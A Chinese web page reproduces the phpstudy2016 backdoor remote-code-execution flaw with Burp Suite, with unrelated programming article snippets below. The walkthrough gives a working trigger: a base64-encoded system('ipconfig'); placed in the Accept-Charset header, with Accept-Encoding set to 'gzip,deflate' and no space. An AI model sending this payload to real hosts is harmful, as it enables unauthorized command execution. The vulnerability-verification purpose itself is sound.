当前位置： 首页 > news >正文

phpstudy2016 RCE漏洞验证

news 2026/4/3 14:21:18

文章目录

  • 漏洞描述
  • 漏洞验证

漏洞描述

PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。

漏洞验证

打开phpstudy2016，用bp自带的浏览器访问www目录下的phpinfo.php文件，访问后结果如下：
在这里插入图片描述

然后在bp中将抓到的数据包发送到repeater模块：

在这里插入图片描述

将system(‘ipconfig’);命令做base64编码：

system('ipconfig');

编码后

c3lzdGVtKCdpcGNvbmZpZycpOw==

在这里插入图片描述

然后在repeater模块添加Accept-Charset: 字段，将base64编码放入：

Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

注意Accept-Encoding字段中gzip和deflate之间不能有空格！

在这里插入图片描述

去掉空格后点击send发送，ipconfig命令被执行：

在这里插入图片描述

相关文章：

phpstudy2016 RCE漏洞验证

文章目录 漏洞描述漏洞验证 漏洞描述 PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。 漏洞验证 打开phpstudy2016，用bp自带的浏览器访问www目录下…...

编程日记 2023/9/25 23:01:05

【QT】QT事件Event大全

很高兴在雪易的CSDN遇见你 ，给你糖糖 欢迎大家加入雪易社区-CSDN社区云 前言 本文分享QT中的事件Event技术，主要从QT事件流程和常用QT事件方法等方面展开，希望对各位小伙伴有所帮助！ 感谢各位小伙伴的点赞关注，小易…...

编程日记 2023/9/25 23:00:03

华为云云耀云服务器L实例评测｜华为云上安装etcd

文章目录 华为云云耀云服务器L实例评测｜华为云上安装etcd一、什么是etcd官方硬件建议 二、华为云主机准备三、etcd安装1. 安装预构建的二进制文件2. 从源代码构建 四、etcd服务注册与发现1. 配置etcd2. 使用systemctl 管理启动etcd服务3. 注册服务4. 发现服务 五、其…...

编程日记 2023/9/25 22:59:03

RDLC动态设置整个表格是否显示

最近有个新的需求：使用RDLC打印，当数据库中能查出数据时，显示表格。没有数据时，不显示整个表格。 1.首先在RDLC中选中表格的任意一列，右键Tablix属性 2.Tablix属性中选中可见性》选中基于表达式显示或隐藏(E)并点开右…...

编程日记 2023/9/25 22:58:01

xp 系统 安装 python 2.7 ide pip

1 下载python http://www.python.org/ftp/python/ python-2.7.2.msi 安装完需要设置环境变量 2 下载 setuptools setuptools-0.6c11.win32-py2.7.exe https://pypi.tuna.tsinghua.edu.cn/simple/setuptools/ 3 下载 pip ，python 2.7 最高支持 pip 20.3.4 https:…...

编程日记 2023/9/25 22:57:00

RabbitMQ生产故障问题分析

1. 问题引发 由某个服务BI-collector-xx队列出现阻塞，影响很整个rabbitMQ集群服务不可用，多个应用MQ生产者服务出现假死状态，系统影响面较广，业务影响很大。当时为了应急处理，恢复系统可用，运维相对粗暴的把…...

编程日记 2023/9/25 22:55:59

12大常用自动化测试工具，请记得转发收藏！

常用自动化测试工具 1、Appium AppUI自动化测试 Appium 是一个移动端自动化测试开源工具，支持iOS 和Android 平台，支持Python、Java 等语言，即同一套Java 或Python 脚本可以同时运行在iOS 和Android平台，Appium 是一个C/S 架构&…...

编程日记 2023/9/25 22:53:57

Android Studio 的aapt2.exe在哪个目录下

一般在：C:\Users\admin\AppData\Local\Android\Sdk\build-tools\30.0.2（不一定是30.0.2，这个得看你的版本） 怎么找： 1.打开Android studio...

编程日记 2023/9/25 22:52:56

【pytest】conftest.py使用

1. 创建test_project 目录 test_project/sub/test_sub.py def test_baidu(test_url):print(fsub {test_url}) test_project/conftest.py 设置钩子函数 只对当前目录 和子目录起作用 import pytest #设置测试钩子函数 pytest.fixture() def test_url():return "http…...

编程日记 2023/9/25 22:50:54

SpringBoot集成Prometheus实现监控

SpringBoot配置Prometheus pom.xml 引入监控以及prometheus依赖 <dependency><groupId>io.micrometer</groupId><artifactId>micrometer-registry-prometheus</artifactId></dependency><dependency><groupId>org.springfram…...

编程日记 2023/9/25 22:49:53

【操作系统笔记十】缓存一致性

CPU 核心之间数据如何传播 高速缓存中的值被修改了&#xff0c;那么怎么同步到内存中呢&#xff1f; ① 写直达&#xff08;Write-Through&#xff09;② 写回&#xff08;Write-Back&#xff09; 写直达&#xff08;Write-Through&#xff09; 简单&#xff0c;但是很慢&am…...

编程日记 2023/9/25 22:47:50

lS1028 + 六网口TSN 硬交换+QNX/Linux实时系统解决方案在轨道交通系统的应用

lS1028 六网口TSN 硬交换QNX/Linux实时系统解决方案在轨道交通系统的应用 以下是在轨道交通应用的实物&#xff1a; CPUNXP LS1028A架构双核Cortex-A72主频1.5GHzRAM2GB DDR4ROM8GB eMMCOSUbuntu20.04供电DC 12V工作温度-40℃~ 80℃ 功能数量参数Display Port≤1路支持DP1.3…...

编程日记 2023/9/25 22:46:49

实现字符串反转函数

实现字符串反转 #include <stdio.h> #include <string.h>void reverse(char *str) {int len = strlen(str);...

编程日记 2023/9/25 22:40:41

抽检监测实施

声明 本文是学习GB-T 42893-2023 电子商务交易产品质量监测实施指南. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本文件提供了开展电子商务交易的有形产品质量监测的总则&#xff0c;监测准备、监测实施、监测效果评价 与反馈等过程指导…...

编程日记 2023/9/25 22:39:40

C++中的静态库与动态库

文章目录 静态库构建静态库 动态库构建动态库 它们的不同参考文章 单独提这个 库&#xff0c;我想我们在coding过程中&#xff0c;可能也会知道一两个词&#xff0c;如 标准库、xx库等。库作为一组已编写好、组织好的、可复用的资源接口&#xff0c;可以被用于其他程序。很不…...

编程日记 2023/9/25 22:38:39

UGUI 绘制线段

描述 点击鼠标左键在屏幕上绘制线段 准备 VertexHelper 网格绘制工具类向量、叉乘RectTransformUtility.ScreenPointToLocalPointInRectangleSetVerticesDirtyOnPopulateMesh 思路 鼠标按下&#xff0c;记录线段起点&#xff1b;鼠标持续按下&#xff0c;记录鼠标当前帧的…...

编程日记 2023/9/25 22:37:38

详细学习Mybatis（2）

详细学习Mybatis&#xff08;2&#xff09; 一、Mybatis核心配置文件详细解释1.1 environment&#xff08;环境&#xff09;1.2 事务管理器&#xff08;transactionManager&#xff09;1.3、dataSource&#xff08;数据源&#xff09;1.4、properties1.5、mapper 一、Mybatis核…...

编程日记 2023/9/25 22:34:35

LinkedList与链表

目录 一、Arraylist的缺陷 二、链表 2.1 链表的概念和结构 2.2 链表的实现 三、链表面试题 3.1 删除链表中所有值为val的节点 3.2 反转一个单链表 3.3 链表的中间节点 3.4 将有序链表合并 3.5 输出倒数第k个节点 3.6 链表分割 3.7 链表的回文结构 3.8 找两个链表的公共节…...

编程日记 2023/9/25 22:33:34

纳米软件芯片自动化测试系统测试电源芯片稳压反馈的方法

在一些电源芯片或稳压芯片中&#xff0c;通常内部都会有稳压反馈电路&#xff0c;这些电路可以将输入电压通过内部调整后输出一个稳定的输出电压&#xff0c;以满足电路中的稳定电源需求。也就是说芯片的稳压反馈就是内部稳压反馈电路中的电压。 芯片稳压反馈原理介绍 稳压反馈…...

编程日记 2023/9/25 22:32:33

微信小程序之项目基本结构、页面的基础及宿主环境

文章目录 前言一、基本组成结构基本组成小程序页面的组成部分JSON配置文件作用 二、页面基础pagesWXML和HTML的区别WXSS和CSS的区别小程序中js文件分类 三、小程序宿主环境总结 前言 微信小程序的项目基本结构、页面的基础及宿主环境 一、基本组成结构 基本组成 新建一个微信…...

编程日记 2023/9/25 22:31:32

GLM-4-9B-Chat-1M惊艳效果：1M token混合中英文技术文档中精准分离双语术语表

GLM-4-9B-Chat-1M惊艳效果&#xff1a;1M token混合中英文技术文档中精准分离双语术语表 想象一下&#xff0c;你手头有一份200万字的技术文档&#xff0c;中英文混杂在一起&#xff0c;专业术语随处可见。传统方法需要人工逐页翻阅&#xff0c;耗时耗力还容易出错。现在&#…...

编程新知 2026/4/3 13:27:08

新手友好：通过快马平台轻松复刻openclaw101.dev的入门级工具项目

作为一个刚接触编程的新手&#xff0c;想要学习开源项目确实会感到有些无从下手。最近我发现了一个叫openclaw101.dev的项目&#xff0c;看起来很有意思&#xff0c;但直接看源码有点吃力。好在朋友推荐了InsCode(快马)平台&#xff0c;让我能够轻松复刻类似的项目来学习。 项目…...

编程新知 2026/4/3 13:08:52

哈尔滨工业大学学位论文latex模板下载及编译方法

1、下载文件夹chinese&#xff1a;https://download.csdn.net/download/wzz110011/92774930?spm1011.2124.3001.6210 2、安装TexStudio 3、设置TexStuidio编译器为XeLaTex&#xff0c;具体设置方法可百度...

编程新知 2026/4/3 12:46:36

智能水印引擎：重新定义摄影后期效率标准

智能水印引擎&#xff1a;重新定义摄影后期效率标准 【免费下载链接】semi-utils 一个批量添加相机机型和拍摄参数的工具&#xff0c;后续「可能」添加其他功能。 项目地址: https://gitcode.com/gh_mirrors/se/semi-utils 问题发现&#xff1a;数字摄影时代的效率困境 …...

编程新知 2026/4/3 12:30:32

完整B站字幕提取解决方案：三步搞定视频字幕获取与转换

完整B站字幕提取解决方案&#xff1a;三步搞定视频字幕获取与转换 【免费下载链接】BiliBiliCCSubtitle 一个用于下载B站(哔哩哔哩)CC字幕及转换的工具; 项目地址: https://gitcode.com/gh_mirrors/bi/BiliBiliCCSubtitle 你是否曾经在B站看到精彩的教学视频&#xff0c…...

编程新知 2026/4/3 10:29:18

Qwen3-14B API服务压测报告：QPS 23+，P99延迟＜1.2s高并发表现

Qwen3-14B API服务压测报告&#xff1a;QPS 23&#xff0c;P99延迟<1.2s高并发表现 1. 测试环境与配置 1.1 硬件配置 本次压测采用专门优化的Qwen3-14B私有部署镜像&#xff0c;运行在以下硬件环境&#xff1a; GPU&#xff1a;RTX 4090D 24GB显存&#xff08;与镜像完美…...

编程新知 2026/4/3 9:18:10

Alpamayo-R1-10B多场景测试：拥堵跟车、无保护左转、施工区绕行等长尾场景适配效果

Alpamayo-R1-10B多场景测试&#xff1a;拥堵跟车、无保护左转、施工区绕行等长尾场景适配效果 1. 引言&#xff1a;自动驾驶的“最后一公里”难题 想象一下&#xff0c;你坐在一辆自动驾驶汽车里&#xff0c;行驶在一条陌生的城市道路上。前方是一个没有红绿灯的十字路口&…...

编程新知 2026/4/3 9:02:01

intv_ai_mk11开源镜像深度解析：为何选择Llama架构+7B规模+Q4量化黄金组合

intv_ai_mk11开源镜像深度解析&#xff1a;为何选择Llama架构7B规模Q4量化黄金组合 1. 为什么选择Llama架构7B规模Q4量化组合 在构建AI对话机器人时&#xff0c;模型架构、参数规模和量化方式的选择直接影响最终效果和部署成本。intv_ai_mk11采用的Llama架构7B参数Q4量化组合…...

编程新知 2026/4/3 6:53:56

Hunyuan-MT-7B GPU部署：Pixel Language Portal在单卡A10上并发处理16路实时语音翻译压测报告

Hunyuan-MT-7B GPU部署&#xff1a;Pixel Language Portal在单卡A10上并发处理16路实时语音翻译压测报告 1. 项目背景与核心价值 Pixel Language Portal&#xff08;像素语言跨维传送门&#xff09;是一款基于Tencent Hunyuan-MT-7B大模型构建的创新翻译工具。与传统翻译软件…...

编程新知 2026/4/3 6:41:50

Python绘图进阶：掌握颜色代码与实战应用

1. Python绘图中的颜色表示方法全解析 第一次用Python画图时&#xff0c;我对着那一堆颜色参数完全摸不着头脑。为什么同样的红色可以用"red"、"(1,0,0)"、"#FF0000"这么多种方式表示&#xff1f;后来才发现&#xff0c;这些不同的颜色表示方法各…...

编程新知 2026/4/3 6:27:35